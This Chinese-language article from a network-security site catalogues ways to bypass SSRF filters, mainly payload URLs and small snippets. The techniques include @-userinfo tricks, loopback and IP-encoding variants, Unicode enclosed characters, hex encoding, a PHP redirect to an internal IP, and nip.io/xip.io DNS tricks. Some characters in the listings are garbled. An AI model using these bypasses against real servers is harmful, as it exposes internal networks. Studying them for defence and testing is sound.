干貨 | SSRF的防御與繞過 - 網安 - 專業的網絡安全產業、社區、知識平臺

SSRF漏洞形成的原因主要是服務器端所提供的接口中包含了所要請求的內容的URL參數，并且未對客戶端所傳輸過來的URL參數進行過濾

一般的防御措施是對URL參數進行過濾，或者使得URL參數用戶不可控，但當過濾方法不當時，就存在Bypass的不同方式

@繞過

http://www.baidu.com@10.10.10.10與http://10.10.10.10請求是相同的

該請求得到的內容都是10.10.10.10的內容，此繞過同樣在URL跳轉繞過中適用。

原理如下：

利用解析URL時的規則問題。

一般情況下利用URL解析導致SSRF過濾被繞過基本上都是因為后端通過不正確的正則表達式對URL進行了解析。而在2017年的Blackhat大會上，Orange Thai 在blackhat中發表的演講《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! 》中介紹了SSRF攻擊的一個新的角度———利用不同編程語言對URL的處理標準來繞過SSRF過濾，從而實施攻擊。該方式主要是利用URL解析器和URL請求器之間的差異性發起攻擊，由于不同的編程語言實現URL解析和請求是不一樣的，所以很難驗證一個URL是否合法。

很難驗證一個URL是否合法的原因在于：

1.在 RFC2396/RFC3986 中進行了說明,但是也僅僅是說明。

2.WHATWG(網頁超文本應用技術工作小組)定義了一個基于RFC協議的具體實現，但是不同的編程語言仍然使用他們自己的實現。

下圖展示了cURL請求函數與其他語言解析函數結合使用時，由于差異性造成的漏洞。

可以得知，NodeJS url、Perl URI、Go net/url、PHP parser_url以及Ruby addressable解析函數與cURL libcurl請求函數差異性都可能造成漏洞的產生

下圖的實例中，我們看到上述所述編程語言的解析函數得到的IP是google.com，而cURL請求得到的卻是evil.com:80

點分割符號替換

在瀏覽器中可以使用不同的分割符號來代替域名中的.分割，可以使用。、?、．來代替：

http://www。qq。com
http://www?qq?com
http://www．qq．com

本地回環地址

127.0.0.1，通常被稱為本地回環地址(Loopback Address)，指本機的虛擬接口，一些表示方法如下(ipv6的地址使用http訪問需要加[])：

http://127.0.0.1 
http://localhost 
http://127.255.255.254 
127.0.0.1 - 127.255.255.254 
http://[::1] 
http://[::ffff:7f00:1] 
http://[::ffff:127.0.0.1] 
http://127.1 
http://127.0.1 
http://0:80

IP的進制轉換

IP地址是一個32位的二進制數，通常被分割為4個8位二進制數。通常用“點分十進制”表示成（a.b.c.d）的形式，所以IP地址的每一段可以用其他進制來轉換。 IPFuscator 工具可實現IP地址的進制轉換，包括了八進制、十進制、十六進制、混合進制。在這個工具的基礎上添加了IPV6的轉換和版本輸出的優化。

在腳本對IP進行八進制轉換時，一些情況下會在字符串末尾多加一個L。

封閉式字母數字 (Enclosed Alphanumerics)字符

封閉式字母數字是一個由字母數字組成的Unicode印刷符號塊，使用這些符號塊替換域名中的字母也可以被瀏覽器接受。在瀏覽器測試中只有下列單圓圈的字符可用：

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ?

瀏覽器訪問時會自動識別成拉丁英文字符：

???????.???  >>>  example.com

URL十六進制編碼

URL十六進制編碼可被瀏覽器正常識別，編碼腳本：

#-*- coding:utf-8 -*- 
data = "www.qq.com"; 
alist = [] 
for x in data: 
    for i in range(0, len(x), 2): 
        alist.append((x[i:i+2]).encode('hex')) 
print "http://%"+'%'.join(alist)

利用網址縮短

網上有很多將網址轉換未短網址的網站。

?https://www.985.so/

?https://www.urlc.cn/

利用30X重定向

可以使用重定向來讓服務器訪問目標地址，可用于重定向的HTTP狀態碼：300、301、302、303、305、307、308。

需要一個vps，把302轉換的代碼部署到vps上，然后去訪問，就可跳轉到內網中

服務端代碼如下：

 
header("Location: http://192.168.1.10");
exit(); 
?>

DNS解析

配置域名的DNS解析到目標地址(A、cname等)，這里有幾個配置解析到任意的地址的域名：

nslookup 127.0.0.1.nip.io
nslookup owasp.org.127.0.0.1.nip.io

xip.io

xip.io是一個開源泛域名服務。它會把如下的域名解析到特定的地址，其實和dns解析繞過一個道理。

http://10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io= 10.0.0.1
http://mysite.10.0.0.1.xip.io = 10.0.0.1
foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4